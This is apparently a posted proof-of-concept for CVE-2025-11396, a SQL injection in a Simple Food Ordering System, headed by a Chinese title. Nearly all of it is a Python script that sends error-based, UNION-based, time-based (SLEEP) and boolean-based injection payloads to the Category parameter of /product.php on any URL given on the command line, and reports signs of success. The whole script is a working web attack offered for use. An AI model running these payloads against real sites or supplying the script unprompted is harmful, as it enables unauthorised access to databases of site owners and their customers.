CVE-2025-11396：Simple Food Ordering System SQL注入漏洞

# CVE-2025-11396 - Simple Food Ordering System SQL Injection PoC # Target: /product.php # Vulnerable Parameter: Category # Method: GET import requests import sys TARGET_URL = "http://target.com/product.php" # Basic SQL Injection payload to test the vulnerability def test_sql_injection(target_url): """Test for SQL injection in the Category parameter""" # Payload 1: Basic error-based detection payload_error = "1' OR '1'='1" # Payload 2: UNION-based injection to extract data payload_union = ( "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" ) # Payload 3: Time-based blind injection payload_time = "1' AND SLEEP(5)-- -" # Payload 4: Boolean-based blind injection payload_boolean = "1' AND 1=1-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Testing SQL injection on: {target_url}") print(f"[*] Vulnerable parameter: Category") # Test with error-based payload params = {"Category": payload_error} try: response = requests.get(target_url, params=params, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if "error" in response.text.lower() or "syntax" in response.text.lower(): print("[!] Possible SQL injection detected (error-based)") # Check for time-based injection import time start_time = time.time() params_time = {"Category": payload_time} response_time = requests.get(target_url, params=params_time, headers=headers, timeout=15) elapsed = time.time() - start_time if elapsed >= 5: print(f"[!] Time-based SQL injection confirmed (delay: {elapsed:.2f}s)") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Example usage: # python exploit.py http://vulnerable-site.com if __name__ == "__main__": if len(sys.argv) > 1: test_sql_injection(sys.argv[1]) else: test_sql_injection(TARGET_URL)